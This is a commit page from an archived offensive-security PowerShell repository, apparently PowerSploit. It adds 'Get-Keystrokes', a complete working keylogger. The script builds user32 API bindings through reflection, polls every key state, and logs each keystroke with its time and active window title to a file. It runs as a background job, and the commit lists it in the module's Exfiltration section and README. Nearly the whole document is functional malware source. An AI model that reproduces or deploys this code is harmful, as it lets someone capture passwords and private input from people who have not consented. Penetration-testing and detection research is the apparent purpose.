Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 717950d

Browse files
author
Matt Graeber
committed
Added Get-Keystrokes
Get-Keystrokes is a PowerShell keylogger
1 parent 94751bc commit 717950d

File tree

3 files changed

+252
-1
lines changed

3 files changed

+252
-1
lines changed

Exfiltration/Exfiltration.psd1

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID =
7474

7575
# List of all files packaged with this module
7676
FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1',
77-
'Usage.md'
77+
'Get-Keystrokes.ps1', 'Usage.md'
7878

7979
# Private data to pass to the module specified in RootModule/ModuleToProcess
8080
# PrivateData = ''

Exfiltration/Get-Keystrokes.ps1

Lines changed: 247 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,247 @@
1+
function Get-Keystrokes {
2+
<#
3+
.SYNOPSIS
4+
5+
Logs keys pressed, time and the active window.
6+
7+
PowerSploit Function: Get-Keystrokes
8+
Author: Chris Campbell (@obscuresec) and Matthew Graeber (@mattifestation)
9+
License: BSD 3-Clause
10+
Required Dependencies: None
11+
Optional Dependencies: None
12+
13+
.PARAMETER LogPath
14+
15+
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'.
16+
17+
.PARAMETER CollectionInterval
18+
19+
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
20+
21+
.EXAMPLE
22+
23+
Get-Keystrokes -LogPath C:\key.log
24+
25+
.EXAMPLE
26+
27+
Get-Keystrokes -CollectionInterval 20
28+
29+
.LINK
30+
31+
http://www.obscuresec.com/
32+
http://www.exploit-monday.com/
33+
#>
34+
[CmdletBinding()] Param (
35+
[Parameter(Position = 0)]
36+
[ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})]
37+
[String]
38+
$LogPath = "$($Env:TEMP)\key.log",
39+
40+
[Parameter(Position = 1)]
41+
[UInt32]
42+
$CollectionInterval
43+
)
44+
45+
Write-Verbose "Logging keystrokes to $LogPath"
46+
47+
$Initilizer = {
48+
$LogPath = 'REPLACEME'
49+
50+
'"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode
51+
52+
function KeyLog {
53+
[Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null
54+
55+
try
56+
{
57+
$ImportDll = [User32]
58+
}
59+
catch
60+
{
61+
$DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
62+
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
63+
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
64+
$TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')
65+
66+
$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
67+
$FieldArray = [Reflection.FieldInfo[]] @(
68+
[Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
69+
[Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
70+
[Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
71+
[Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
72+
[Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
73+
[Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
74+
)
75+
76+
$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
77+
$FieldValueArray = [Object[]] @(
78+
'GetAsyncKeyState',
79+
$True,
80+
$False,
81+
$True,
82+
[Runtime.InteropServices.CallingConvention]::Winapi,
83+
[Runtime.InteropServices.CharSet]::Auto
84+
)
85+
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
86+
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
87+
88+
$PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
89+
$FieldValueArray = [Object[]] @(
90+
'GetKeyboardState',
91+
$True,
92+
$False,
93+
$True,
94+
[Runtime.InteropServices.CallingConvention]::Winapi,
95+
[Runtime.InteropServices.CharSet]::Auto
96+
)
97+
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
98+
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
99+
100+
$PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public, Static', [Int32], [Type[]] @([Int32], [Int32]))
101+
$FieldValueArray = [Object[]] @(
102+
'MapVirtualKey',
103+
$False,
104+
$False,
105+
$True,
106+
[Runtime.InteropServices.CallingConvention]::Winapi,
107+
[Runtime.InteropServices.CharSet]::Auto
108+
)
109+
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
110+
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
111+
112+
$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
113+
[Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
114+
$FieldValueArray = [Object[]] @(
115+
'ToUnicode',
116+
$False,
117+
$False,
118+
$True,
119+
[Runtime.InteropServices.CallingConvention]::Winapi,
120+
[Runtime.InteropServices.CharSet]::Auto
121+
)
122+
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
123+
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
124+
125+
$PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
126+
$FieldValueArray = [Object[]] @(
127+
'GetForegroundWindow',
128+
$True,
129+
$False,
130+
$True,
131+
[Runtime.InteropServices.CallingConvention]::Winapi,
132+
[Runtime.InteropServices.CharSet]::Auto
133+
)
134+
$CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
135+
$PInvokeMethod.SetCustomAttribute($CustomAttribute)
136+
137+
$ImportDll = $TypeBuilder.CreateType()
138+
}
139+
140+
Start-Sleep -Milliseconds 40
141+
142+
try
143+
{
144+
145+
#loop through typeable characters to see which is pressed
146+
for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
147+
{
148+
$VirtualKey = $TypeableChar
149+
$KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)
150+
151+
#if the key is pressed
152+
if (($KeyResult -band 0x8000) -eq 0x8000)
153+
{
154+
155+
#check for keys not mapped by virtual keyboard
156+
$LeftShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
157+
$RightShift = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
158+
$LeftCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
159+
$RightCtrl = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
160+
$LeftAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
161+
$RightAlt = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
162+
$TabKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
163+
$SpaceBar = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
164+
$DeleteKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
165+
$EnterKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
166+
$BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
167+
$LeftArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
168+
$RightArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
169+
$UpArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
170+
$DownArrow = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
171+
$LeftMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
172+
$RightMouse = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000
173+
174+
if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
175+
if ($LeftCtrl -or $RightCtrl) {$LogOutput += '[Ctrl]'}
176+
if ($LeftAlt -or $RightAlt) {$LogOutput += '[Alt]'}
177+
if ($TabKey) {$LogOutput += '[Tab]'}
178+
if ($SpaceBar) {$LogOutput += '[SpaceBar]'}
179+
if ($DeleteKey) {$LogOutput += '[Delete]'}
180+
if ($EnterKey) {$LogOutput += '[Enter]'}
181+
if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
182+
if ($LeftArrow) {$LogOutput += '[Left Arrow]'}
183+
if ($RightArrow) {$LogOutput += '[Right Arrow]'}
184+
if ($UpArrow) {$LogOutput += '[Up Arrow]'}
185+
if ($DownArrow) {$LogOutput += '[Down Arrow]'}
186+
if ($LeftMouse) {$LogOutput += '[Left Mouse]'}
187+
if ($RightMouse) {$LogOutput += '[Right Mouse]'}
188+
189+
#check for capslock
190+
if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}
191+
192+
$MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
193+
$KeyboardState = New-Object Byte[] 256
194+
$CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)
195+
196+
#create a stringbuilder object
197+
$StringBuilder = New-Object -TypeName System.Text.StringBuilder;
198+
$UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)
199+
200+
#convert typed characters
201+
if ($UnicodeKey -gt 0) {
202+
$TypedCharacter = $StringBuilder.ToString()
203+
$LogOutput += ('['+ $TypedCharacter +']')
204+
}
205+
206+
#get the title of the foreground window
207+
$TopWindow = $ImportDll::GetForegroundWindow()
208+
$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle
209+
210+
#get the current DTG
211+
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
212+
213+
#Create a custom object to store results
214+
$ObjectProperties = @{'Key Typed' = $LogOutput;
215+
'Time' = $TimeStamp;
216+
'Window Title' = $WindowTitle}
217+
$ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
218+
219+
# Stupid hack since Export-CSV doesn't have an append switch in PSv2
220+
$CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
221+
222+
#return results
223+
Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode
224+
225+
}
226+
}
227+
}
228+
catch {}
229+
}
230+
}
231+
232+
$Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))
233+
234+
Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null
235+
236+
if ($PSBoundParameters['CollectionInterval'])
237+
{
238+
$Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)
239+
240+
Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
241+
Stop-Job -Name Keylogger
242+
Unregister-Event -SourceIdentifier ElapsedAction
243+
$Sender.Stop()
244+
} | Out-Null
245+
}
246+
247+
}

README.md

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -128,6 +128,10 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas
128128

129129
**All your data belong to me!**
130130

131+
#### `Get-Keystrokes`
132+
133+
Logs keys pressed, time and the active window.
134+
131135
#### `Get-TimedScreenshot`
132136

133137
A function that takes screenshots at a regular interval and saves them to a folder.

0 commit comments

Comments
 (0)